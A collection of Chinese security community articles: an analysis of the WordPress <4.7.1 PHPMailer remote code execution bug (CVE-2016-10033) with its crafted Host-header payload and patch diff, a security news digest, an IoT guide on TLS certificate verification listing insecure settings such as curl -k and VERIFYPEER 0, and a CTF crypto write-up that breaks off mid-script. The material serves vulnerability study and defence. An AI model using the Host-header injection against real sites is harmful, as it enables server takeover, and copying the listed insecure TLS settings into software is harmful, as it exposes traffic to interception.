整个过程利用了 WordPress 未对请求的 Host 字段进行校验和 PHPMailer 在 小于 5.2.20
版本存在的代码执行漏洞。对以上两个不安全点进行利用，导致远程代码执行。
POC地址为： [WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033](https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html)
我们测试的命令为
/usr/bin/touch /tmp/manning.test
我们看下POC发出的请求
Host 字段构造如下
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}manning.test}} null)
这点跟我们认知中的Host完全不一样。
接下来的流程非常简单。
在 wp-login.php 中，首先根据请求中的 action 进行路由
接着进入函数 retrieve_password
接着进入 wp_mail 函数，位于文件 pluggable.php
在 wp_mail 中，WordPress 会把 _SERVER['SERVER_NAME'] 变量拼接到 from_email 变量中。
经过一系列的邮件内容拼接，把类对象 phpmailer 的类变量都进行了赋值，之后进入调用了 Send 函数
这里把最关键的 mailSend 函数贴出来，mailSend 函数负责最终调用，关键在 mailPassthru 函数，该函数会把带有恶意的 params
变量交给 PHPMailer。
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
if (empty($this->Sender)) {
$params = ' ';
} else {
$params = sprintf('-f%s', $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo && count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
动态调试，在 mailPassthru 调用时，整个变量如图所示。
最终在 mailPassthru 内调用了 @mail。
最终我们在 tmp 目录看到了 manning.test 文件
**0x02 补丁分析**
WordPress 4.7.1 版本
1，升级phpmailer的版本到5.2.22
2，在 mailSend 修改，对变量 params 进行了过滤。
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
**0x03 防护建议**
升级 WordPress 至最新版本。
**0x04 调试总结**
调试过程中需要注意：
sendmail 需要装 exim4扩展
需要更改poc中的账户，poc中填写的是admin
poc运行环境需要有python环境
**本次调试环境是：**
Server version: Apache/2.4.18 (Ubuntu)
PHP 7.0.15-0ubuntu0.16.04.4 (cli) ( NTS )
sendmail 和 exim4扩展
其他注意事项可以参考 [**@Tomato菜的要死**](http://weibo.com/tomato4web) 和
[**@廖新喜1**](http://weibo.com/u/1900013681) 的微博。
**0x05 参考文章**
<https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html>
**传送门**
* * *
[**【漏洞预警】WordPress <4.7.1
远程代码执行漏洞（非插件无需认证，附Poc,演示视频）**](http://bobao.360.cn/news/detail/4146.html) | 社区文章 |
# 3月14日安全热点 – AMD Ryzen和EPYC处理器中发现13个严重漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
远程桌面协议中的CredSSP漏洞影响所有版本的Windows
<https://thehackernews.com/2018/03/credssp-rdp-exploit.html>
在AMD Ryzen和EPYC处理器中发现了13个严重漏洞
<https://thehackernews.com/2018/03/amd-processor-vulnerabilities.html>
立即更新Samba服务器以修补密码重置和DoS漏洞
<https://thehackernews.com/2018/03/samba-server-vulnerability.html>
微软发布2018年3月安全公告
<https://www.bleepingcomputer.com/news/microsoft/microsoft-march-patch-tuesday-fixes-74-security-issues/>
<http://blog.talosintelligence.com/2018/03/ms-tuesday.html>
29种不同类型的USB攻击
<https://www.bleepingcomputer.com/news/security/heres-a-list-of-29-different-types-of-usb-attacks/>
## 技术类
海莲花使用老技巧分发新的后门程序
<https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf>
了解针对所有版本Android的Cloak&Dagger攻击：概述和教程
<http://resources.infosecinstitute.com/understanding-cloak-dagger-attack-overview-tutorial/>
伊朗威胁组更新钓鱼攻击战术，技术和程序
<https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html>
解析.DS_Store文件格式
<https://0day.work/parsing-the-ds_store-file-format/>
Kubernetes hack分析
<https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c>
利用性能计数器检测利用meltdown和spectre的攻击
<https://blog.trendmicro.com/trendlabs-security-intelligence/detecting-attacks-that-exploit-meltdown-and-spectre-with-performance-counters/>
钓鱼网站：扩展代理
<https://medium.com/@cooperthecoder/go-phishing-extending-the-proxy-31775a1d7287>
radare2教程——逆向自修改二进制文件
<https://www.megabeets.net/reversing-a-self-modifying-binary-with-radare2/>
针对Weblogic测试的一些小总结
<http://www.91ri.org/17656.html>
JavaScript Zero: Real JavaScript and Zero Side-Channel Attacks
<http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2018/02/ndss2018_07A-3_Schwarz_paper.pdf>
Visual Basic GUI：通过X11转发的会话在SSH客户端上注入击键的工具
<https://github.com/xfee/vbg> | 社区文章 |
**作者：瘦蛟舞**
**公众号：[小米安全中心](http://https://mp.weixin.qq.com/s/rSXqBCFmawLg_oYYVKecLQ
"小米安全中心")**
## 0x01 SSL收益
安全性提升，有效对抗绝大部分中间人攻击。
* 中间人攻击部分场景
* HTTP劫持
* DNS劫持
* ARP欺骗
* 钓鱼WIFI
* 伪基站
TLS的主要目标是使SSL更安全，并使协议的规范更精确和完善，本文统一使用SSL泛指。
## **0x02 IoT分类**
设备ROM发版相对app发版要复杂许多，所以设备的证书验证场景复杂度更高，先将设备抽象成两大类：
* 系统自带证书的通用操作系统比如AndroidTV
* 系统没有预制证书的实时操作系统(RTOS)
如果设备是第一类通用操作系统比较好处理
* 如果证书是CA签发的，只需信任系统证书即可,最好同时开启系统分区保护。
* 如果证书是自签发的，除了信任系统证书以外额外只信任此自签发证书即可，切勿为了跑通业务盲目信任所有证书。一些业务刚开发的时候可能还没买证书，所以初期代码是信任所有证书，后来买正式证书后忘记修复证书信任代码。例如没买证书之前curl使用了-k参数，买完证书后忘记统一除去此参数。
-k, --insecure Allow connections to SSL sites without certs (H)
如果设备是第二类RTOS，首先得确认其是否支持SSL，其上运行的业务是否需要SSL。如果需要且支持，则可以通过自行预制根证书。
## **0x03 错误示范**
0x02中已经有一个ssl的简单错误示范了，接下来再讲一个错误开发案例。
ssl相关开发的时候遇到如下错误提示，就是证书验证不通过：
curl_easy_perform failed : SSL peer certificate or SSH remote key was not OK
项目着急上线，就使用网上的提示的方法解决这个报错。看似解决问题，实际上留下了安全隐患：
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
因为将verify参数设置为0，此时会忽略所有的证书相关错误,也就意味着会对所有的证书都信任。如果有攻击者进行证书注入劫持,那么他将能看到明文通信，SSL失去了其本来的作用：
#include <curl/curl.h>CURLcode curl_easy_setopt(CURL *handle, CURLOPT_SSL_VERIFYPEER, long verify);
被劫持的后的效果如下，设备的通信的信息完全暴露给攻击者。
我们是如何快速定位这个漏洞的呢?这里安利一下小米安全开发的MiEye自动化IoT安全测试系统，可以完全捕获此类漏洞。<https://eye.dun.mi.com/>
最后汇总下此类 **错误操作** :
* curl使用 -k参数
* wget使用 --no-check-certificate参数
* libcurl中把 CURLOPT_SSL_VERIFYPEER 和 CURLOPT_SSL_VERIFYHOST设置为false
* 覆盖X509TrustManager类中的checkServerTrusted方法且不进行证书链验证，常见表现形式就是将此方法置空
* 信任所有主机名setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER)
## **0x04 解决问题**
上面的错误操作会使设备处于安全等级0，这里建议IoT设备应根据业务处于2或3的等级。
本文不是理论向文章，但是方便大家抓住重点，还是提一些基本知识点。
SSL握手过程(RSA)如下图，根据使用的密钥交换算法的不同协商细节略有不同但总体类似：
信任链的关键：双方共有的根证书保证了秘钥协商的可靠性。
同理API的使用关键就在证书的处理环节。
正确的SSL证书验证设置如下，默认就是如此，若要对其进行修改需要十分 **谨慎：**
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L);curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L);
如果设备内没有对应的根证书，需要先找到对应域名的根证书，可以通过浏览器观察。比如这个case里的证书是Godaddy的，之后下载GoDaddy Root
Certificate Authority - G2这个根证书并埋入设备。
Godaddy根证书下载地址:<https://ssl-ccp.godaddy.com/repository?origin=CALLISTO>
若参考curl文档中的方法拿到的证书是站点证书，有效期较短.而IoT设备的发版周期较长，易造成可用性降低。故本文一直是围绕根证书展开。
注意:下面命令拿到的是有效期较短的站点证书而非根证书。
openssl s_client -servername www.example.com -connect www.example.com:443 < /dev/null | sed -n "/-----BEGIN/,/-----END/p" > www.example.com.pem
当然一个设备可能访问很多个域，然后需要预制很多个根，假设另一个常用根是DigiCert，再去DigiCert下载对应根证书埋入设备。
DigiCert根证书下载地址:<https://www.digicert.com/digicert-root-certificates.htm>
可以通过CURLOPT_CAINFO来指定一个根证书：
CURLOPT_CAINFO - path to Certificate Authority (CA) bundle
This option is by default set to the system path where libcurl's cacert bundle
is assumed to be stored, as estab-lished at build time.
浏览器和操作系统中一般都会自带大量可信CA根证书，例如：
除此之外还有类似aosp.pem，apple.pem，microsoft.pem，java.pem，mozilla.pem等作为补充。Firefox的内置证书如下：
<https://wiki.mozilla.org/CA/Included_Certificates>
可以把缺失的证书追加到证书的列表，也可以考虑直接用Mozilla的证书列表：
cat newcert.pem >> /etc/pki/tls/certs/ca-bundle.crt
还可以通过CURLOPT_CAPATH来指定对应根证书目录，如果有多个ca需要添加可以考虑它(新增)：
CURLOPT_CAPATH - specify directory holding CA certificates
#include <curl/curl.h> CURLcode curl_easy_setopt(CURL *handle, CURLOPT_CAPATH, char *capath);
## **0x05** 一般不推荐leaf certificate证书锁定
SSL pinning新增对抗场景:
* 客户端安装恶意证书，IoT上这种情景极少
* 一些WiFi需要你添加根证书信任才能使用互联网
* 一些网站需要你添加根证书信任才能不反复红叉提示
* 其他CA恶意签发站点证书
WoSign和Symantec都有过一段时期签发的证书不受信任的历史
<https://news.mindynode.com/zh/events/50>(还有StartCom和CNNIC)
最常见的就是HTTPS用SSL和TLS作为通信进行加密，然后再进行http的传输。除了http外SSL/TLS也可以用保护其他的协议：FTP，IMAP，
POP3，SMTP等等。
不过一般不推荐使用CURLOPT_PINNEDPUBLICKEY，其他库同理不推荐在IoT设备上做站点证书锁定。前面也提到过了站点证书有效期太短，而IoT设备发版周期漫长，做一套可靠证书指纹更新的方案性价比极低，稍有不慎就会导致业务不可用。
NAME CURLOPT_PINNEDPUBLICKEY - set pinned public keySYNOPSIS #include <curl/curl.h> CURLcode curl_easy_setopt(CURL *handle, CURLOPT_PINNEDPUBLICKEY, char *pinnedpubkey);
看文档没说支持intermediate & root certificate pin，所以curl自带的锁定只支持leaf certificate pin
<https://curl.haxx.se/docs/todo.html>
> 13.11 Support intermediate & root pinning for PINNEDPUBLICKEY
>
> CURLOPT_PINNEDPUBLICKEY does not consider the hashes of intermediate & root
> certificates when comparing the pinned keys. Therefore it is not compatible
> with "HTTP Public Key Pinning" as there also intermediate and root
> certificates can be pinned. This is very useful as it prevents webadmins
> from "locking themself out of their servers".
更多的证书锁定的细节可以去参考我的另一篇文章：[SSL.Pinning.Practice](http://https://github.com/WooyunDota/DroidDrops/blob/master/2018/SSL.Pinning.Practice.md>
"SSL.Pinning.Practice")
## 0x06 参考文章
1. <https://github.com/WooyunDota/DroidDrops/blob/master/2014/Android%E8%AF%81%E4%B9%A6%E4%BF%A1%E4%BB%BB%E9%97%AE%E9%A2%98%E4%B8%8E%E5%A4%A7%E8%A1%A8%E5%93%A5.md>
2. <https://github.com/WooyunDota/DroidDrops/blob/master/2018/SSL.Pinning.Practice.md>
3. <https://www.wosign.com/faq/faq2016-0309-04.htm>
4. <https://blog.cloudflare.com/keyless-ssl-the-nitty-gritty-technical-details/>
5. <https://sec.xiaomi.com/article/5>
* * * | 社区文章 |
# 七夕-分析zer0pts CTF 2020中Crypto方向题目
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
zer0pts CTF 2020中有4道Crypto方向的题目，题目整体难度适中，在这里对这4道题目进行一下分析。
## dirty laundry
题目描述：
Do you wanna air my dirty laundry?
题目附件：
[dirtylaundry.zip](https://github.com/ichunqiu-resources/anquanke/raw/master/011/dirty%20laundry/dirty%20laundry.zip)
审计代码，可以发现本题是将[Paillier
Cryptosystem](https://en.wikipedia.org/wiki/Paillier_cryptosystem)和[Shamir’s
Secret
Sharing](https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing)结合在了一起进行考察，题目的基本流程如下：
1. 首先生成一个1024位的强素数PRIME。
2. 使用PRIME的低256位做为PRNG256的种子，该PRNG会产生256位的输出，后面会用该PRNG来产生伪随机数。
3. 使用了一个(5, 3)Shamir门限，其多项式为f(x) ≡ a * x^2 + b * x + flag (mod PRIME)，其中flag即为该门限的secret，a、b为GF(PRIME)下的两个随机数。
4. 将(f(1) + noise1)、(f(2) + noise2)、...、(f(5) + noise5)的值使用Paillier进行加密（每次加密时重新生成公、私钥），并将加密结果c1到c5和每次加密时使用的公钥(n1, g1)到(n5, g5)提供给选手，其中noise1到noise5、进行密钥生成时p和g用到的随机数以及加密时使用的随机数r均为PRNG256生成的伪随机数。
观察发现，每次在paillier_enc函数中生成密钥时，g是通过如下方式产生的：
g = (1 + prng.rand() * n) % n**2
这里的prng.rand()最大为256比特，n约为1536比特，因此(1 + prng.rand() _n)约为256 + 1536 =
1792比特，而`n**2`约为1536 _ 2 = 3072比特，因此这里的`% n**2`这一运算实际上没起着作用，由于我们已知(n1,
g1)到(n5, g5)，因此可以通过`prng.rand() = (g - 1)/n`计算出这5次prng.rand()的值。
我们知道这里PRNG256生成随机数的运算过程是可以逆回去的，因此我们可以借助其中一次的prng.rand()的值来反推出seed（即PRIME的低256位），既而得到所有prng.rand()的值。以`output
以`output.txt`中的(n1, g1)为例，我们有`prng.rand()1 = (g1 -1)/n1`，审计代码可知这里的`prng.rand()1`是第二次调用，因此我们执行两次逆操作后，此时的seed值即为我们本题需要获取的seed值，计算脚本如下：
class PRNG256(object):
def __init__(self, seed):
self.mask = (1 << 256) - 1
self.seed = seed & self.mask
def _pick(self):
b = ((self.seed>>0)^(self.seed>>2)^(self.seed>>5)^(self.seed>>10)^1)&1
self.seed = ((self.seed>>1)|(b<<255)) & self.mask
return b
def rand(self):
x = 0
for i in range(256):
x = (x << 1) | self._pick()
return x
# 逆过程
def reverse_rand(self):
seed = self.seed
for _ in range(256):
b = ((seed>>255) ^ (seed>>1) ^ (seed>>4) ^ (seed>>9) ^ 1) & 1
seed = ((seed << 1) | b) & self.mask
self.seed = seed
n, g = [1341233826702376842498119940039016826282055747303464974435594326637538907180149241566365225911074218597539880291426265503244204409536388336349105099303221252199164187921036400118788488925884552440483653638244202969641876448593915624469362160298646189903056069767976491733960779483023305191435635289734365528710722401088230332490023131911734288011232016872906051832164035804891447455672110954242647111735228814935698789659541198379357658233047482430645842400366769, 26674131724614738833784434076708623929346303545393320399944409878863187402150503055207795853307211144249179748395076848334742855586049336411971031238044174387954252693537728148985955948048292029557791508049506146642880016520533230306989498523300220064692662847160710441255197572391506435448482713046019266895261344521636514739951705743608587218033949609867770113753539973249063631220635085754002655371345431327359674264770777710263422098079037291585196293197114766337658570276078577504309446984989309950901135119579313915133962619448102748]
out = (g - 1) / n
state = int(bin(out)[2:].zfill(256)[::-1], 2)
x = PRNG256(state)
x.reverse_rand()
x.reverse_rand()
seed = x.seed
print seed
执行脚本即可得到本题PRNG256的seed为：
60702825763651781569208648502945521408055748350006223555916359844074217637833
拿到seed后，本题中所有prng.rand()的值我们就都知道了，那么接下来我们的任务就是想办法对Paillier加密后的密文进行解密，来拿到`(f(i)
+ noise_i)`的值，继而拿到`f(i)`的值了。
观察发现，每次在paillier_enc函数中进行Paillier加密时，密文c是通过如下方式产生的：
c = pow(g, m, n**2) * pow(prng.rand(), n, n**2) % n**2
其中`pow(prng.rand(), n, n**2)`的值我们是可以知道的，因此我们这里可以通过如下方式计算出`pow(g, m,
n**2)`的值（设`pow(prng.rand(), n, n**2)`的值为res）：
pow(g, m, n**2) = (c * inverse(pow(prng.rand(), n, n**2), n**2)) % n**2
= (c * inverse(res, n**2)) % n**2
根据二项式定理，有如下表达式成立：
其中最右边的两项都可以写成n的k次方的形式，因此我们有如下表达式成立：
此时我们的`pow(g, m, n**2)`的表达式可以改写为：
pow(g, m, n**2) = pow((1 + prng.rand() * n) % n**2, m, n**2)
= pow(1 + prng.rand() * n, m, n**2)
= (1 + prng.rand() * n * m) % n**2
由于prng.rand()约为256比特，n约为1536比特，m不超过1024比特，而`n**2`约为3072比特，因此`(1 + prng.rand()
* n * m)`恒小于`n**2`的值，因此该表达式实际上为：
pow(g, m, n**2) = (1 + prng.rand() * n * m)
至此我们共得到了`pow(g, m, n**2)`的两种表达形式，因此我们有：
(c * inverse(res, n**2)) % n**2 == 1 + prng.rand() * n * m
移项得：
(c * inverse(res, n**2)) % n**2 - 1 == prng.rand() * n * m
等式两边加m，得：
(c * inverse(res, n**2)) % n**2 - 1 + m = prng.rand() * n * m + m
= (prng.rand() * n + 1) * m
= (g * m)
移项得：
(c * inverse(res, n**2)) % n**2 - 1 == m * (g - 1)
此时我们即可恢复出m：
m = ((c * inverse(res, n**2)) % n**2 - 1) / (g - 1)
因为`m = f +
noise`，而noise我们也是知道的，因此此时用m减去noise即可得到f。整理一下上述推导过程，我们可以写出恢复出f(1)到f(5)的值的脚本如下：
from Crypto.Util.number import *
pubkey = [[1341233826702376842498119940039016826282055747303464974435594326637538907180149241566365225911074218597539880291426265503244204409536388336349105099303221252199164187921036400118788488925884552440483653638244202969641876448593915624469362160298646189903056069767976491733960779483023305191435635289734365528710722401088230332490023131911734288011232016872906051832164035804891447455672110954242647111735228814935698789659541198379357658233047482430645842400366769, 26674131724614738833784434076708623929346303545393320399944409878863187402150503055207795853307211144249179748395076848334742855586049336411971031238044174387954252693537728148985955948048292029557791508049506146642880016520533230306989498523300220064692662847160710441255197572391506435448482713046019266895261344521636514739951705743608587218033949609867770113753539973249063631220635085754002655371345431327359674264770777710263422098079037291585196293197114766337658570276078577504309446984989309950901135119579313915133962619448102748], [1411836429669183892966134560305538366838547135114531535251720851922638607907850507674940852917802242615202155607148892358461384679202044548831141295353829571829695255020484687938869019916289932148352179781631904110271902114010910086393396910500275240681423526254331492385949217178047157696773667958133033180038804263460584550022281663780195927924119675790311322672399731902027722031296853164002026620552741589967849779933976523556743919696732887883645621044361611, 54901986783642835051699889113428335659585153809842942356885004842920465421336706391742814742564346205356241657334450930082155461145433648171896778260206136182255774717095790534292114459150791413586339545764791219429615253607065582132297246948860985575596282841990693455389149847062253133706015420405086059551754437445312366999921584484205222674268615179520174172834649126131935196501454388399695961162329114143523185659562031324488650262065740579199795214468943489727171700351304387397461071307646615194578618714043441377328663670751933627], [1827670639023479057974423662769264575893916686880865506873460556631343496594640149665454545389837639322275346518374263849034235979447405363606817187890637783196194162726024155794431981524906947485134171466324929779048499566048313669091401079263506127226379009753084566863868890271238236467261185095363669354791741608878314575987029663948818461252180763032199904220494918133642971421746749038691538192915859604276912102975568194119467980419612286906176868952703619, 141955627685405861596265155634043580262274251775483613944451161608579951914157317215316282492132012795129761525653914539354069858559035449093879514616280531615371142125208924414389214738475566668885506757054698120214732427844927492109681218414883961942239601431792698791724207705264637074459890882510377535948407156226101316457666689930453121343643609559536469767469803312169661110669941502466830780526471703979445391121676012137033701185329849968518454602730837677935298633914797575550202371889703865031673251813095889426000075905120210715], [1402052496936016320097183149388969226815975944499402219852856803114088852450193317864886134127265736138410526536722880486066577543930136034727844243512981614084924117627899623040044660188020312540158405739267327536264551679882312483493710047604544613918162585552941665913115010517121759370648692761286982491236666306877105976920137441035714264352280173247224313429635552985171274872512067599818448065403462190853902179488909659352339753894521914217223448955215971, 86436796561750399172835178406595458158200152808363576725949152209752050457844658406574932376510960241857243310231191629391788175840467781934160642603459961684570827889722817126673212897198457329009359718685889481495826330541120466944045405490044949949259866864077324005529448874478602844692164951174440203087657096219194318354305991767616656455848089449159017933275879827733328877162500978230626795632715808168172022720272496925901610663582044355831900584113960342572153829531696471382379336709069115911649499884361699625754418888357105356], [1342704677106999319938700388688741153377785166648218447242877900112547844266669406514804811924511017558918915960330401218483170328967889513789896923310776509048521832125539811902549091395153161067069971385687776610710438852173147435486069694433486331195576027716222479219032032167578074212853391036064686760331515843088926026790746958731708142341497399752153088465594599246790180097507576747721603670126927119225609501504821203851575717696464442894256866979152071, 151778423244836361358618726678490961359665141861531434745037765026759553125937345447572403824004985824284188179016742237419300096576909738404031925822083587101759301624897645367726786635718018753092807084873240915940763159043557284908261185169254084475196021977237239622460403373815939034200532293365581548664725892312716054043939540402460543140481578956351181169010805594314620139932866466533726652277935117332880706565744981667712583109377942817662191762058437395347618376144282145949244368040832594427185427142218601311894439404196869044]]
shares = [[1, 597508787369395694379078055274758557631538862739941784216641187447047696613646680523204534254585433553841883904815873020522119769161150848487658944289025139852884425534715254212765760070437058597554314741974198161950731308938774064571532399460855957695621714795771549456243813779399463109411846725520743344118554521413815793297768851076100135443002760221642947948812785225122631701884241216019284262219988306790748365483241216049579680655534490056279281295122379176443966669667315043992274193717298501474638381448820981658485993472350525815696097401765948865514729845467484551526100202532018343011967560856014086051860031235536215643818290727062383335942089683311730283931932548912461126311217820002459492022071267001562804194559301166310110244724819006466684456151803974731484616982434451280906366032894303395363863415992620820995729046300233942195095878917887892047030748729267329243516360791348477702146680442138382721731], [2, 1456602020473336436595302182756958090511415476510657696986700623481719785551149148046222482541285365312188959543693509514194665154201380523065476755444520574235515226702501340621170242202481024616882142010693536315240074931107987736512086290237614373546387137118763177589626855206838418103751404170044959913691735814429141324338320985853997370723970242452295801714270370307506226450063833723978620621565509156414542500828358085837989711050634637181122088180962097398190523961973415973551114076986713383243786853784427170667899647985426058777600468130304251574650780445218699779580427275505399994170596637813422179447545139427789051628741760457519163521253124217051884027796849542531386743511788474207049545545002209680929220223136064442178057025754413867781284144371821327271523387818972046823739716532656252490038504917848103009173556160906958786293914926056507083575731302212603218169279706378356509037364037831069878231086], [3, 1595390928798835569336924563570335102923880736692143989367168050283822219400199743337809496383236309872055902908859973435410009867512480962418933647220942557496021772016027755153856780432756247783750165029188435931829475752098685139218491512524939261083097196175538068246302620283880442794354650203913256502298415299185414984420565985768541932846631373242689036582178180151029187744659165675733768586790929935335022733816827888717408760672442814312920814112098749134708381258920239270611481275188904733904484814532961896311957117153388398557892281039130937627251977203045005113457955326984992365109238884156875118258875576742912093629961904108637328565523791833431848861487780279931219592300441525537266970002720517825091950356133381996157142667046040400474609347986971206237389511449743320732065481903260813584781835955382208803634275373602785992176618584713593998708722680023507255977968510697362982348044089009664597010849], [4, 1011012847725577745336080393532189501492336190558468303901251128666948418862933107036802327706950463653743889588322849131239222018844807849320331335500253801822404870042943180018988070672118930708294758392176800835465940314497189212667345256623160148381248676718065742459754530766291525548914975338009832256832712589706835806517309607232698495103676951407256990497727674074485975124944372384103938197756270712242538878327377737064117888518506218677244903776303353809628478075251845418928422454505051034628606854452823018144040158582352384256981850775768889499743760124313790601039804655287368427678715298719610014768027055861100647302291703640051847379108339724116217620803865940790490720181318014407063347236752588796661376810081172579531972899972207972694482013181432385593628852052754597961311854114120889315842451116669964549895840227042765846799089720825799247881359370434521814841837587026380076995924399761319705723220], [5, 585069911394639305069783453652980853778745872799905806085352980735658699442233349825102728267563130252863283620016490723644364840781783036228871276919495247201207769697803633760636387168623971368425694237096294184568991213677440659398241600565247753979592046970818227704368395870777535026523567976874952173624307944192305292867662966386645876919788206043645183603762002422420998136405555517112532618282483706131862387809257609229574812285296154253501278056085465591743515177435365781927790199047842732048344042345351145298190659111295473008507446985055866290274758068271147032318530780490684852153963206087326840116434394159695925404604438964668680275485416592324577630006500633520246499405212932824588562414909326852417065336364436077691987208909857190371325101826958691831214195954288881703669647778463778679987622877010187433236808312183932607053247793338457198918138891876330549197934696966944916096701567755521275990739]]
class PRNG256(object):
def __init__(self, seed):
self.mask = (1 << 256) - 1
self.seed = seed & self.mask
def _pick(self):
b = ((self.seed>>0)^(self.seed>>2)^(self.seed>>5)^(self.seed>>10)^1)&1
self.seed = ((self.seed>>1)|(b<<255)) & self.mask
return b
def rand(self):
x = 0
for i in range(256):
x = (x << 1) | self._pick()
return x
seed = 60702825763651781569208648502945521408055748350006223555916359844074217637833
x = PRNG256(seed)
flist = []
for i in range(5):
n, g = pubkey[i]
_, c = shares[i]
noise = x.rand()
_ = x.rand()
r = x.rand()
res = pow(r, n, n**2)
m = ((c * inverse(res, n**2)) % n**2 - 1) / (g - 1)
f = m - noise
flist.append(f)
for i in range(5):
print flist[i]
执行代码即可得到f(1)到f(5)的值依次如下：
2435914717685014138649749236252905405722244694217680922681036751164195655875157002256026859740475344129647207688117380843197222261605411632547300570215065622883430626991992801471988987720414826443330294552571798697565316320513515219156268420705277864644965968187930985261740670894980651003125565782603329258
20683250518964539499743236211758446075493369914357947433664010111557386690597414223589079715811588368007495910608948249861895863617100579847236455467224717178523894669994061392037830812205180324552823269953637928728164642186434056742879218600096103755434917880264040400650648342866168452385107624119439408338
54742007403838576083280460926516622009313375660420799532948920081179573104166771663999158568213339071633546108762492607056095924066485504644067464691028954666921392129006205771697546186615831688090037710332007896626736848265236140709460769552186985903606415208499524690638870733997541149897334701132413864757
104612185372307123889261423380527433207182261932406237220535766660030754896583229323486263416945727455007797802148750452425797403609760186023040328241627778088075923004028425940451135110952368917054973615687681702393281934556919767118900921276977924309159457952894383855226407844289098743539806796821526698515
29708217301991320530581690195693774548993971219288304983622128711255491646232601302092149732307102700626739970578885493492329522432347723561395539134342684442494209630846087330262818306752864785395128006191227634540543362715161482433791492073571875506211859005180660302516586880061144931959870897186694406563
拿到f(1)到f(5)的值之后，根据(5,
3)Shamir门限的特点，如果我们能知道f(1)到f(5)这5个多项式的值中任意3个的值，我们就可以恢复出flag了，但是本题还有一点不同之处在于本题采用的并不是普通多项式而是模多项式，因此我们还得先把模数PRIME恢复出来才能再用Shamir密钥共享算法的方法来恢复flag。
由于我们已知f(x)的表达式为`f(x) ≡ a * x^2 + b * x + flag (mod PRIME)`，因此我们有如下表达式：
f(1) ≡ a + b + flag (mod PRIME)
f(2) ≡ 4*a + 2*b + flag (mod PRIME)
f(3) ≡ 9*a + 3*b + flag (mod PRIME)
f(4) ≡ 16*a + 4*b + flag (mod PRIME)
f(5) ≡ 25*a + 5*b + flag (mod PRIME)
此时我们可以构造出如下表达式：
f(3) - 2*f(2) + f(1) ≡ 2a (mod PRIME)
f(4) - 2*f(3) + f(2) ≡ 2a (mod PRIME)
f(5) - 2*f(4) + f(3) ≡ 2a (mod PRIME)
用2式减1式、3式减2式可得：
f(4) - 2*f(3) + f(2) - (f(3) - 2*f(2) + f(1)) ≡ 0 (mod PRIME)
f(5) - 2*f(4) + f(3) - (f(4) - 2*f(3) + f(2)) ≡ 0 (mod PRIME)
即：
f(4) - 3*f(3) + 3*f(2) - f(1) ≡ 0 (mod PRIME)
f(5) - 3*f(4) + 3*f(3) - f(2) ≡ 0 (mod PRIME)
将同余式写成等式，即：
f(4) - 3*f(3) + 3*f(2) - f(1) = k * PRIME
f(5) - 3*f(4) + 3*f(3) - f(2) = g * PRIME
这样一来，我们就可以采用求最大公约数的方法来尝试恢复出PRIME：
PRIME = gcd(k * PRIME, g * PRIME)
写出脚本如下：
from Crypto.Util.number import *
from gmpy2 import *
f1 = 2435914717685014138649749236252905405722244694217680922681036751164195655875157002256026859740475344129647207688117380843197222261605411632547300570215065622883430626991992801471988987720414826443330294552571798697565316320513515219156268420705277864644965968187930985261740670894980651003125565782603329258
